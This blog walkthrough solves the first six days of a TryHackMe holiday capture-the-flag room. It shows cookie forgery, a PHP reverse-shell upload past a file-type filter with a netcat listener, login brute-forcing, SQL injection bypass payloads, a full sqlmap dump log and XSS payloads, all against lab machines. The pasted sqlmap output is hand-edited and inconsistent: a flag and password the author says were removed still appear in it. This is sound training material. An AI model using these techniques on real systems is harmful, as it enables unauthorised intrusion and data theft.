Advent of Cyber 2 is a free, holiday season themed room on TryHackMe all you need to get started is an account.
A new challenge is being released every day and I will update this blog post after I completed the next day.
Day 1 – A Christmas Crisis
Deploy the attack machine and the challenge by clicking the green buttons. Then open the browser of the attack box and enter the IP of the deployed challenge box.
Now create a user by typing in a username & password then clicking register. Now log in.
Toggle on the developer tools of the browser with ctrl-shift-i. And navigate to the data panel. Here you can see the cookie name and value.
Looking at the value you can either know by experience what kind of encoding is use. Or, if you have no idea you can pull up cyberchef, paste in the value and try out a few of the favorites.
Hint: the answer is the full name of the encoding, not just the three letter short handle.
For my username of foobar
the cookie decodes to:
{"company":"The Best Festival Company", "username":"foobar"}
This is the JSON format. (Sorry, no idea to be less obvious about it.)
To get Santa’s cookie, we now need to change the username in the JSON to santa
and encode that JSON into Hex again. You can do that in CyberChef as well. Make sure to select a delimiter of none.
Now we go back to the assembly line website and out developer tools. We replace the value of the auth cookie with what we just calculated, then reload the page.
Now we can turn on the assembly line again and when all switches are flipped on, the final flag is revealed.
Day 2 – The Elf Strikes Back!
As always we start with deploying both the attack box and the challenge server.
First we bring up the IP of the challenge in our browser. The website pretty much tells us what to do next. We add ?id=YOUR_ID_HERE
to the url and replace YOUR_ID_HERE
with the code provided the challenge description.
This leads us to the upload page.
Checking the file types in the upload dialog or the source code will reveal, that the website is accepting .jpeg, .jpg and .png file. Those all are common image formats.
The Walk-through / challenge asks us now to upload a reverse shell. The briefing even tells us what reverse shell.
But let us quickly talk about how we can find out what kind of reverse shell we should try. First we need to know what programming language is being run by the server. If we are lucky, like in this case, we get that information via the http header.
To view the header, we open up the developer tools again and head to the network tab. After a reload of the page, it should populate. We click on the main file, the one with our id, then select headers on the right panel. Scrolling through the headers we can find X-Powered-By: PHP/7.2.24
This tells us we are looking for a php reverse shell, just as suggested in the challenge.
As suggested in the guide, we copy the reverse sehll with cp /usr/share/webshells/php/php-reverse-shell.php .
in the terminal to our working directory. Then we run subl php-reverse-shell.php
to open the reverse shell code in sublime text.
Now we change line 49 and replace the placeholder with the IP of our attack box. We can find that IP right in the top of the try hackme page. We also change the port in line 50 to the suggested 4444
. As long as we use a free, high number port we can choose whatever we like here, we just have to make sure to use the same port when setting up the listener in the next step.
After saving the file we switch back to the terminal and set up a netcat listener with sudo nc -lvnp 4444
Netcat is a tool that allows us to listen to and send network traffic. We need to run it with sudo (running it with root privileges) to make sure it has the permissions to open the port we specified.
Now we need to upload our reverse shell. But the websites does not accept .php file. We still need it to end in .php for the server to interpret the files as code and run it though.
That’s why we can try need to rename it to include one of the supported file types, for example let it end in .png.php
It uploads the file but we still have nothing on the terminal. We first have to get the server to execute out reverse shell. Sometimes you can get lucky and the uploaded file gets displayed right back to you. But this is not the case here.
So we need to find our reverse shell. It will be in some kind of upload directory on the server. We could use something like fuff and use a word list to find potential upload urls. But in this case, we can try and guess a few common ones. Like upload.
We can click our reverse shell there. The website probably will be stuck loading but we get back our shell in the terminal.
With /var/www/flag.txt
we can display the final flag.
Day 3 – Christmas Chaos
This day very much follows the guide already outlined in the challenge, so I will keep this brief.
After starting the attack box and deploying the challenge, we first have a look at the website. It is a typical login form.
We launch burp suit, set the Firefox proxy to burp and set intercept in the burp proxy to on. We put in some test credentials and send them. Burp intercepts the request and we can have a look at it.
In the http history tab we can send the request to the burp intruder. In the positions tab in intruders we mark the positions. The two positions we need are the text data we had send.
Then we move to the payloads tab and enter the suggested word lists of the challenge. Switch between the two lists with the payload set drop down.
After clicking Start Attack and clicking away the community edition warning, we have a look at the results. There is only one that looks different.
We disable the intercept and try that set of credentials to log in. In that control panel we find the flag.
Day 4 – Santa’s Watching
After starting the attack box and deploying the challenge we can view the defaced site.
To solve the second question, read the documentation above, it should tell you how to construct the required command.
Now we try to find the API endpoint of the forum with gobuster. As suggested we use -w to specify the dirbuster big word list. We add the .php extension with -x. This is not needed to solve the challenge, it just put it in there because most forum software is written in php and so have been the previous challenges.
<code>gobuster dir -u http://10.10.79.210/ -w /usr/share/wordlists/dirb/big.txt -x .php</code>
In gobuster’s output we find /api with a 301 http code, indicating it has permanently moved. We pull the url up in the browser.
It redirects to /api/ , a folder on the server. It looks like the API is only containing one endpoint, site-log.php
The challenge tells us that the parameter for the endpoint is date. Usually we would have to find that one out by either fuzzing or reading documentation if that is availible for the software running.
So we fuzz it with wfuzz:
wfuzz -c -z file,/opt/AoC-2020/Day-4/wordlist -u http://10.10.79.210/api/site-log.php?date=FUZZ
In the output we see one of the results to have a different length. So we pull up the url with that parameter.
http://10.10.79.210/api/site-log.php?date=20201125
That will give us the flag and complete this day.
Day 5 – Someone stole Santa’s gift list!
First we pull of the site in the browser.
I very much recommend that you play around a bit with the SQL injection training site also hosted on port 3000 if you are new to SQL injections.
Next we are supposed to guess the panel name. Trying a few things will hopefully lead you eventually to santapanel
Now we can us an SQL injection to bypass the login page. We use santa as username and ' or true; --
as password. The '
end the string where the password is meant to be inerted. or true;
adds another condition to the SQL statement. It now basically asks if the password matches or true. or true always leads to true so the comparisson with the password become irrelevant and we can log in with any existing user we specify. --
mark the rest of the original SQL querry as comment.
Our next task is to fins out how many entries the gift table has and what Paul wants. We can use the same payload ' or true; --
again. This time it does not invalidate the password, but the kids name. This way it puts out the gift for every kid. Now it just is a matter of counting and finding Pauls gift.
The screenshot is intentionally cropped to not reveal the answers. What we can see that the search terms are transmitted in the URL as GET parameter. This makes using a tool like SQL map rather easy. So instead of manually dumping the database to look for the flag and admin password, we use SQL map.
Firt we start up burp and switch the proxy in the browser to burp. Then we reload the panel with a default search, like shoes
. We send the request in the burp proxy to the intruder, where we can save ti to disk. This allows us to use the cookie of our session ect. with SQLmap.
sqlmap -r gift --dump-all --tamper=space2comment
-r gift
points sqlmap to the file saved from burp. I named mine gift but you might have chosen a different name.
--dump-all
asks it to dump all data it can find
--tamper=space2comment
is a simple WAF evasion technique something hinted at in the challenge. If you forget it, sqlmap will suggest it too though.
While it is running, sqlmap will prompt you for input. See the full dump below for details.
root@ip-10-10-172-235:~# sqlmap -r gift --dump-all --tamper=space2comment
___
__H__
___ ___[(]_____ ___ ___ {1.2.4#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 02:09:08
[02:09:08] [INFO] parsing HTTP request from 'gift'
[02:09:08] [INFO] loading tamper script 'space2comment'
[02:09:08] [INFO] testing connection to the target URL
[02:09:08] [INFO] testing if the target URL content is stable
[02:09:09] [INFO] target URL content is stable
[02:09:09] [INFO] testing if GET parameter 'search' is dynamic
[02:09:09] [INFO] confirming that GET parameter 'search' is dynamic
[02:09:09] [INFO] GET parameter 'search' is dynamic
[02:09:09] [WARNING] heuristic (basic) test shows that GET parameter 'search' might not be injectable
[02:09:09] [INFO] testing for SQL injection on GET parameter 'search'
[02:09:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:09:09] [WARNING] reflective value(s) found and filtering out
[02:09:09] [INFO] GET parameter 'search' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="James")
[02:09:09] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[02:09:28] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[02:09:28] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[02:09:28] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[02:09:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:09:28] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[02:09:28] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:09:28] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[02:09:28] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[02:09:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[02:09:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[02:09:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[02:09:28] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[02:09:28] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[02:09:28] [INFO] testing 'MySQL inline queries'
[02:09:28] [INFO] testing 'PostgreSQL inline queries'
[02:09:28] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[02:09:28] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[02:09:28] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:09:28] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[02:09:28] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[02:09:28] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[02:09:28] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[02:09:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[02:09:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[02:09:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'
[02:09:28] [INFO] testing 'MySQL <= 5.0.11 AND time-based blind (heavy query)'
[02:09:28] [INFO] testing 'MySQL <= 5.0.11 OR time-based blind (heavy query)'
[02:09:28] [INFO] testing 'MySQL <= 5.0.11 AND time-based blind (heavy query - comment)'
[02:09:28] [INFO] testing 'MySQL <= 5.0.11 OR time-based blind (heavy query - comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)'
[02:09:29] [INFO] testing 'MySQL AND time-based blind (ELT)'
[02:09:29] [INFO] testing 'MySQL OR time-based blind (ELT)'
[02:09:29] [INFO] testing 'MySQL AND time-based blind (ELT - comment)'
[02:09:29] [INFO] testing 'MySQL OR time-based blind (ELT - comment)'
[02:09:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[02:09:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[02:09:29] [INFO] testing 'Oracle AND time-based blind'
[02:09:29] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:09:29] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)'
[02:09:29] [INFO] testing 'MySQL <= 5.0.11 time-based blind - Parameter replace (heavy queries)'
[02:09:29] [INFO] testing 'MySQL time-based blind - Parameter replace (bool)'
[02:09:29] [INFO] testing 'MySQL time-based blind - Parameter replace (ELT)'
[02:09:29] [INFO] testing 'MySQL time-based blind - Parameter replace (MAKE_SET)'
[02:09:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[02:09:29] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[02:09:29] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[02:09:29] [INFO] target URL appears to have 2 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[02:09:34] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[02:09:34] [INFO] testing 'MySQL UNION query (39) - 1 to 20 columns'
[02:09:34] [INFO] testing 'MySQL UNION query (39) - 21 to 40 columns'
[02:09:35] [INFO] testing 'MySQL UNION query (39) - 41 to 60 columns'
[02:09:35] [INFO] testing 'MySQL UNION query (39) - 61 to 80 columns'
[02:09:36] [INFO] testing 'MySQL UNION query (39) - 81 to 100 columns'
[02:09:36] [INFO] checking if the injection point on GET parameter 'search' is a false positive
[02:09:36] [INFO] heuristics detected web page charset 'ascii'
[02:09:36] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 195 HTTP(s) requests:
---
Parameter: search (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: search=shoes%' AND 1839=1839 AND '%'='
---
[02:09:43] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[02:09:43] [INFO] testing MySQL
[02:09:43] [WARNING] the back-end DBMS is not MySQL
[02:09:43] [INFO] testing Oracle
[02:09:43] [WARNING] the back-end DBMS is not Oracle
[02:09:43] [INFO] testing PostgreSQL
[02:09:43] [WARNING] the back-end DBMS is not PostgreSQL
[02:09:43] [INFO] testing Microsoft SQL Server
[02:09:43] [WARNING] the back-end DBMS is not Microsoft SQL Server
[02:09:43] [INFO] testing SQLite
[02:09:43] [INFO] confirming SQLite
[02:09:43] [INFO] actively fingerprinting SQLite
[02:09:43] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[02:09:43] [INFO] sqlmap will dump entries of all tables from all databases now
[02:09:43] [INFO] fetching tables for database: 'SQLite_masterdb'
[02:09:43] [INFO] fetching number of tables for database 'SQLite_masterdb'
[02:09:43] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[02:09:43] [INFO] retrieved: 3
[02:09:43] [INFO] retrieved: users
[02:09:44] [INFO] retrieved: sequels
[02:09:45] [INFO] retrieved: hidden_table
[02:09:46] [INFO] retrieved: CREATE TABLE sequels (title text, kid text, age integer)
[02:09:54] [INFO] fetching entries for table 'sequels' in database 'SQLite_masterdb'
[02:09:54] [INFO] fetching number of entries for table 'sequels' in database 'SQLite_masterdb'
[02:09:54] [INFO] retrieved: 22
Database: SQLite_masterdb
Table: sequels
[22 entries]
+------+------+-------+
| kid | age | title |
+------+------+-------+
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
+------+------+-------+
[02:09:54] [INFO] table 'SQLite_masterdb.sequels' dumped to CSV file '/root/.sqlmap/output/10.10.112.21/dump/SQLite_masterdb/sequels.csv'
[02:09:54] [INFO] retrieved: CREATE TABLE hidden_table (flag text)
[02:10:00] [INFO] fetching entries for table 'hidden_table' in database 'SQLite_masterdb'
[02:10:00] [INFO] fetching number of entries for table 'hidden_table' in database 'SQLite_masterdb'
[02:10:00] [INFO] retrieved: 1
[02:10:00] [INFO] retrieved: thmfox{All_I_Want_for_Christmas_Is_You}
Database: SQLite_masterdb
Table: hidden_table
[1 entry]
+-----------------------------------------+
| flag |
+-----------------------------------------+
| Here will be the flag |
+-----------------------------------------+
[02:10:05] [INFO] table 'SQLite_masterdb.hidden_table' dumped to CSV file '/root/.sqlmap/output/10.10.112.21/dump/SQLite_masterdb/hidden_table.csv'
[02:10:05] [INFO] retrieved: CREATE TABLE users (username text, password text)
[02:10:09] [INFO] fetching entries for table 'users' in database 'SQLite_masterdb'
[02:10:09] [INFO] fetching number of entries for table 'users' in database 'SQLite_masterdb'
[02:10:09] [INFO] retrieved: 1
[02:10:09] [INFO] retrieved: EhCNSWzzFP6sc7gB
[02:10:10] [INFO] retrieved: admin
Database: SQLite_masterdb
Table: users
[1 entry]
+----------+------------------+
| username | password |
+----------+------------------+
| admin | here password |
+----------+------------------+
[02:10:10] [INFO] table 'SQLite_masterdb.users' dumped to CSV file '/root/.sqlmap/output/10.10.112.21/dump/SQLite_masterdb/users.csv'
[02:10:10] [WARNING] HTTP error codes detected during run:
400 (Bad Request) - 1 times
[02:10:10] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.112.21'
[*] shutting down at 02:10:10
In the dump you find flag and password but I removed them of course.
Day 6 – Be careful what you wish on a Christmas night
Again we launch both boxes and pull the website up in the browser.
First we get a bit of a feeling for the app by adding a few items and using the search.
Then we try a basic XSS payload in the fields. <script>alert('1')</script>
. In the search field, this already triggers.
In the url bar we can see the parameter.
The same payload can be used in the new book field. This results in a stored crosssite scripting. Every time you reload the site, a popup will come up.
For the next part we launch OWASP Zap and give it a moment to update after the starts. Then we start a automated scan of our target.
Basically ZAP finds the two vulnerabilities we already discussed above.
Reload the site again and have a look at what Zap added to the list. It is quite a verbose testing.